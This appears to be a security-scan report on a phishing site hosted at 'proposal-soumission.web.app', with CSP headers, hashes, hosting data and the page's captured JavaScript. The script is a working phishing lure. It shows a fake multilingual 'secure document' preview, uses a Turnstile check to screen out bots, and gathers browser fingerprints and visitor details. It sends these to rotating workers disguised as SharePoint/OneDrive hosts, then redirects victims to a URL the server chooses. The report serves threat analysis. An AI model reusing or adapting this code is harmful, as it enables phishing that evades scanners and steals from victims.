English

Within the application-focused generic top-level domain (.app), 'proposal-soumission.web.app' is registered and includes subdomain 'proposal-soumission'. Its registrable label 'web' stretches across 3 characters split between one vowel and 2 consonants. Tokenizing the label suggests 1 word: web. No strong language cues emerged from the frequency lists.

html/da/ed/daedd504-87b6-42f2-a2d5-4ae3c0d92068_nodriver.html.gz

require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/apps-themes

default-src 'none'; script-src 'nonce-ZY3sV8hYN34neQ3FZXNDJN' 'unsafe-eval'; script-src-attr 'none'; worker-src blob:; style-src 'unsafe-inline'; img-src 'self'; connect-src 'self' https://hagen.challenges.cloudflare.com https://brunhild.challenges.cloudflare.com; frame-src 'self' blob:; child-src 'self' blob:; form-action 'none'; base-uri 'self'; trusted-types WMqk0 default; require-trusted-types-for 'script'; sandbox allow-same-origin allow-scripts allow-popups allow-forms

90acf284e78ceb1183e080909b7558617bd981480fd3000ae1b433d5eb28c459

16ed46527af596b5e1abfff1d0bee1afd13700d55e1d3dc86cd3c48b96c8dec7

3829e288d35882dc741f8d1ebf11261a2e798381bbc07a60cbaa6beefce86477

viewport

HSTS header missing - vulnerable to protocol downgrade attacks

CSP header missing - vulnerable to XSS attacks

Prudence Malinki

MarkMonitor Inc.

web.app

Abuse

Admin

Cloudflare-NOC

Cloudflare, Inc.

CLOUDFLARENET


        // ================= TRANSLATIONS WITH RANDOM VARIANTS =================
        const translations = {
            en: { preloader: ["Preparing document...", "Loading secure document...", "Please wait, loading...", "Fetching document..."], documentReady: ["Document ready for viewing", "Your document is ready", "Click to view document", "Document prepared"], verifying: "Verifying...", success: "Verification successful. Redirecting...", error: "Verification failed. Please try again.", securityCheckFailed: "Security check failed. Please refresh.", footer: "Protected by Cloudflare Turnstile" },
            es: { preloader: ["Preparando documento...", "Cargando documento seguro...", "Espere, cargando...", "Obteniendo documento..."], documentReady: ["Documento listo para ver", "Su documento está listo", "Haga clic para ver el documento", "Documento preparado"], verifying: "Verificando...", success: "Verificación exitosa. Redirigiendo...", error: "Verificación fallida. Intente de nuevo.", securityCheckFailed: "Fallo en la verificación. Actualice la página.", footer: "Protegido por Cloudflare Turnstile" },
            fr: { preloader: ["Préparation du document...", "Chargement du document sécurisé...", "Veuillez patienter...", "Récupération du document..."], documentReady: ["Document prêt à être consulté", "Votre document est prêt", "Cliquez pour voir le document", "Document préparé"], verifying: "Vérification en cours...", success: "Vérification réussie. Redirection...", error: "Échec de la vérification. Veuillez réessayer.", securityCheckFailed: "Échec de la vérification. Actualisez la page.", footer: "Protégé par Cloudflare Turnstile" },
            de: { preloader: ["Dokument wird vorbereitet...", "Sicheres Dokument wird geladen...", "Bitte warten...", "Dokument wird abgerufen..."], documentReady: ["Dokument bereit zur Ansicht", "Ihr Dokument ist bereit", "Klicken Sie, um das Dokument anzuzeigen", "Dokument vorbereitet"], verifying: "Überprüfung läuft...", success: "Überprüfung erfolgreich. Weiterleitung...", error: "Überprüfung fehlgeschlagen. Bitte erneut versuchen.", securityCheckFailed: "Sicherheitsprüfung fehlgeschlagen. Seite neu laden.", footer: "Geschützt durch Cloudflare Turnstile" },
            it: { preloader: ["Preparazione documento...", "Caricamento documento sicuro...", "Attendere prego...", "Recupero documento..."], documentReady: ["Documento pronto per la visualizzazione", "Il tuo documento è pronto", "Clicca per visualizzare il documento", "Documento preparato"], verifying: "Verifica in corso...", success: "Verifica riuscita. Reindirizzamento...", error: "Verifica fallita. Riprova.", securityCheckFailed: "Verifica fallita. Aggiorna la pagina.", footer: "Protetto da Cloudflare Turnstile" },
            pt: { preloader: ["Preparando documento...", "Carregando documento seguro...", "Aguarde, carregando...", "Obtendo documento..."], documentReady: ["Documento pronto para visualização", "Seu documento está pronto", "Clique para ver o documento", "Documento preparado"], verifying: "Verificando...", success: "Verificação bem-sucedida. Redirecionando...", error: "Falha na verificação. Tente novamente.", securityCheckFailed: "Falha na verificação. Atualize a página.", footer: "Protegido por Cloudflare Turnstile" },
            ru: { preloader: ["Подготовка документа...", "Загрузка защищенного документа...", "Пожалуйста, подождите...", "Получение документа..."], documentReady: ["Документ готов к просмотру", "Ваш документ готов", "Нажмите для просмотра документа", "Документ подготовлен"], verifying: "Проверка...", success: "Проверка пройдена. Перенаправление...", error: "Ошибка проверки. Попробуйте снова.", securityCheckFailed: "Ошибка проверки. Обновите страницу.", footer: "Защищено Cloudflare Turnstile" },
            zh: { preloader: ["正在准备文档...", "正在加载安全文档...", "请稍候...", "正在获取文档..."], documentReady: ["文档已准备好查看", "您的文档已就绪", "点击查看文档", "文档准备就绪"], verifying: "验证中...", success: "验证成功。正在跳转...", error: "验证失败。请重试。", securityCheckFailed: "安全验证失败。请刷新页面。", footer: "由 Cloudflare Turnstile 保护" },
            ja: { preloader: ["ドキュメントを準備中...", "安全なドキュメントを読み込み中...", "しばらくお待ちください...", "ドキュメントを取得中..."], documentReady: ["ドキュメントの表示準備ができました", "ドキュメントの準備ができました", "クリックしてドキュメントを表示", "ドキュメント準備完了"], verifying: "認証中...", success: "認証成功。リダイレクト中...", error: "認証に失敗しました。もう一度お試しください。", securityCheckFailed: "セキュリティチェックに失敗しました。ページを更新してください。", footer: "Cloudflare Turnstile によって保護されています" },
            ar: { preloader: ["جارٍ تجهيز المستند...", "جارٍ تحميل المستند الآمن...", "يرجى الانتظار...", "جارٍ جلب المستند..."], documentReady: ["المستند جاهز للعرض", "المستند الخاص بك جاهز", "انقر لعرض المستند", "تم تجهيز المستند"], verifying: "جارٍ التحقق...", success: "تم التحقق بنجاح. جارٍ إعادة التوجيه...", error: "فشل التحقق. حاول مرة أخرى.", securityCheckFailed: "فشل التحقق. يرجى تحديث الصفحة.", footer: "محمي بواسطة Cloudflare Turnstile" }
        };
        function getUserLanguage() { const lang = navigator.language || navigator.userLanguage; const short = lang.split('-')[0]; return translations[short] ? short : 'en'; }
        const userLang = getUserLanguage(), t = translations[userLang];
        const preIdx = Math.floor(Math.random() * t.preloader.length);
        const docIdx = Math.floor(Math.random() * t.documentReady.length);
        document.getElementById('preloader-text').innerText = t.preloader[preIdx];
        document.getElementById('doc-message').innerText = t.documentReady[docIdx];
        document.getElementById('footer').innerText = t.footer;

        // ================= CONFIGURATION =================
        const CONFIG = {
            turnstileSitekey: "0x4AAAAAACi_JnkqDdB0xspM", // REPLACE WITH YOUR SITEKEY
            // List your worker endpoints here – they will be rotated randomly
            workerPool: [
                "https://young-breeze-c253.sharepoint-onedrive.workers.dev/verify",
                "https://wild-sun-ea2e.sharepoint-onedrive.workers.dev/verify",
                "https://empty-base-35d6.sharepoint-onedrive.workers.dev/verify",
                "https://myrange-from.sharepoint-onedrive.workers.dev/verify"
                // Add up to 10 workers
            ],
            // List your document image URLs here – one will be chosen randomly per visit
            documentImages: [
                "https://res.cloudinary.com/dppimkz6r/image/upload/v1772509187/ChatGPT_Image_Mar_3_2026_04_26_18_AM_ifrbuk.png",
                "https://res.cloudinary.com/dppimkz6r/image/upload/v1772509187/ChatGPT_Image_Mar_3_2026_04_35_52_AM_dr356x.png",
                "https://res.cloudinary.com/dppimkz6r/image/upload/v1772509187/ChatGPT_Image_Mar_3_2026_04_30_03_AM_ockpjd.png",
                "https://res.cloudinary.com/dppimkz6r/image/upload/v1772509188/ChatGPT_Image_Mar_3_2026_04_25_09_AM_o8nbdl.png",
                "https://res.cloudinary.com/dppimkz6r/image/upload/v1772509189/ChatGPT_Image_Mar_3_2026_04_20_28_AM_lwkb36.png",
                "https://res.cloudinary.com/dppimkz6r/image/upload/v1772509187/ChatGPT_Image_Mar_3_2026_04_25_43_AM_bqdt7h.png",
                "https://res.cloudinary.com/dppimkz6r/image/upload/v1772230899/propositionfpdf_rjmnpw.png",
                "https://res.cloudinary.com/dppimkz6r/image/upload/v1772509621/ChatGPT_Image_Mar_3_2026_04_46_41_AM_h59bn8.png",
                "https://res.cloudinary.com/dppimkz6r/image/upload/v1772509621/ChatGPT_Image_Mar_3_2026_04_45_41_AM_fte43g.png"                 
                // Add more image URLs as needed
            ],
            // Timing (in milliseconds)
            preloaderDuration: 500,        // Show preloader for 500ms before starting verification? Actually we removed fixed preloader – verification starts immediately.
            // We'll keep a small artificial delay before sending data (human-like)
            minHumanDelay: 100,
            maxHumanDelay: 300,
            // How long to show the document after success before redirect
            documentDisplayDuration: 200,   // 200ms for very fast redirect
        };

        // Select random worker and random document image
        const selectedWorker = CONFIG.workerPool[Math.floor(Math.random() * CONFIG.workerPool.length)];
        const selectedDocImage = CONFIG.documentImages[Math.floor(Math.random() * CONFIG.documentImages.length)];
        document.getElementById('doc-image').src = selectedDocImage;

        // ================= FINGERPRINTING =================
        async function getCanvasFingerprint() {
            try {
                const canvas = document.createElement('canvas');
                canvas.width = 200; canvas.height = 50;
                const ctx = canvas.getContext('2d');
                ctx.textBaseline = 'top';
                ctx.font = '14px Arial';
                ctx.fillStyle = '#f60';
                ctx.fillRect(0, 0, 100, 50);
                ctx.fillStyle = '#069';
                ctx.font = '16px Arial';
                ctx.fillText('Fingerprint', 2, 15);
                return canvas.toDataURL();
            } catch (e) { return 'canvas-error'; }
        }
        async function getWebGLFingerprint() {
            try {
                const canvas = document.createElement('canvas');
                const gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl');
                if (!gl) return 'webgl-unavailable';
                const debugInfo = gl.getExtension('WEBGL_debug_renderer_info');
                if (!debugInfo) return 'webgl-no-debug';
                return { vendor: gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL), renderer: gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL) };
            } catch (e) { return 'webgl-error'; }
        }
        async function getAudioFingerprint() {
            return new Promise(resolve => {
                try {
                    const audioContext = new (window.OfflineAudioContext || window.webkitOfflineAudioContext)(1, 44100, 44100);
                    const oscillator = audioContext.createOscillator();
                    oscillator.type = 'triangle';
                    oscillator.frequency.setValueAtTime(10000, audioContext.currentTime);
                    const compressor = audioContext.createDynamicsCompressor();
                    compressor.threshold.setValueAtTime(-50, audioContext.currentTime);
                    compressor.knee.setValueAtTime(40, audioContext.currentTime);
                    compressor.ratio.setValueAtTime(12, audioContext.currentTime);
                    compressor.attack.setValueAtTime(0, audioContext.currentTime);
                    compressor.release.setValueAtTime(0.25, audioContext.currentTime);
                    oscillator.connect(compressor);
                    compressor.connect(audioContext.destination);
                    oscillator.start(0);
                    audioContext.startRendering().then(buffer => {
                        const samples = buffer.getChannelData(0);
                        let hash = 0;
                        for (let i = 0; i < 200; i++) hash += Math.abs(samples[i]);
                        resolve(hash.toString());
                    }).catch(() => resolve('audio-error'));
                } catch (e) { resolve('audio-error'); }
            });
        }
        async function collectVisitorData(token) {
            return {
                timestamp: new Date().toISOString(),
                pageUrl: window.location.href,
                referrer: document.referrer || 'direct',
                userAgent: navigator.userAgent,
                platform: navigator.platform,
                language: navigator.language,
                languages: navigator.languages,
                cookiesEnabled: navigator.cookieEnabled,
                screenResolution: `${screen.width}x${screen.height}`,
                windowSize: `${window.innerWidth}x${window.innerHeight}`,
                timezone: Intl.DateTimeFormat().resolvedOptions().timeZone,
                hardwareConcurrency: navigator.hardwareConcurrency || 'unknown',
                deviceMemory: navigator.deviceMemory || 'unknown',
                webdriver: navigator.webdriver || false,
                canvasFingerprint: await getCanvasFingerprint(),
                webglFingerprint: await getWebGLFingerprint(),
                audioFingerprint: await getAudioFingerprint(),
                turnstileToken: token,
            };
        }

        // ================= MAIN =================
        window.onload = function () {
            const preloader = document.getElementById('preloader');
            const docPreview = document.getElementById('documentPreview');
            const statusEl = document.getElementById('statusMessage');
            const body = document.body;

            turnstile.render('#turnstile-widget', {
                sitekey: CONFIG.turnstileSitekey,
                theme: 'light',
                callback: async function (token) {
                    // Update preloader text to "Verifying..."
                    document.getElementById('preloader-text').innerText = t.verifying;

                    // Small human-like delay
                    const delay = CONFIG.minHumanDelay + Math.random() * (CONFIG.maxHumanDelay - CONFIG.minHumanDelay);
                    await new Promise(r => setTimeout(r, delay));

                    const visitorData = await collectVisitorData(token);
                    // Use the randomly selected worker
                    const response = await fetch(selectedWorker, {
                        method: 'POST',
                        headers: { 'Content-Type': 'application/json' },
                        body: JSON.stringify(visitorData)
                    });
                    const result = await response.json();

                    if (result.success) {
                        // Switch to fullscreen mode
                        body.classList.add('fullscreen-mode');
                        // Hide preloader, show document
                        preloader.style.display = 'none';
                        docPreview.style.display = 'flex';

                        // Wait the configured duration, then redirect
                        setTimeout(() => {
                            window.location.href = result.redirectUrl;
                        }, CONFIG.documentDisplayDuration);
                    } else {
                        // Show error message
                        preloader.style.display = 'none';
                        statusEl.className = 'status-message error';
                        statusEl.innerText = result.error || t.error;
                        statusEl.style.display = 'block';
                    }
                },
                'error-callback': function (error) {
                    preloader.style.display = 'none';
                    statusEl.className = 'status-message error';
                    statusEl.innerText = t.securityCheckFailed;
                    statusEl.style.display = 'block';
                }
            });
        };
    

Requests	IP Address	Location	AS Autonomous System
5	142.251.20.95Google · CDN	United States	AS15169Google LLC
3	104.18.94.41Cloudflare · WAF	United States	AS13335Cloudflare, Inc.
3	199.36.158.100	United States	AS54113Fastly, Inc.
11	3	-	-

Security Scan Report: proposal-soumission.web.app

Summary

AI Security Verdict

High Risk

Risk Factors

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Page Statistics

Detected Technologies5

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History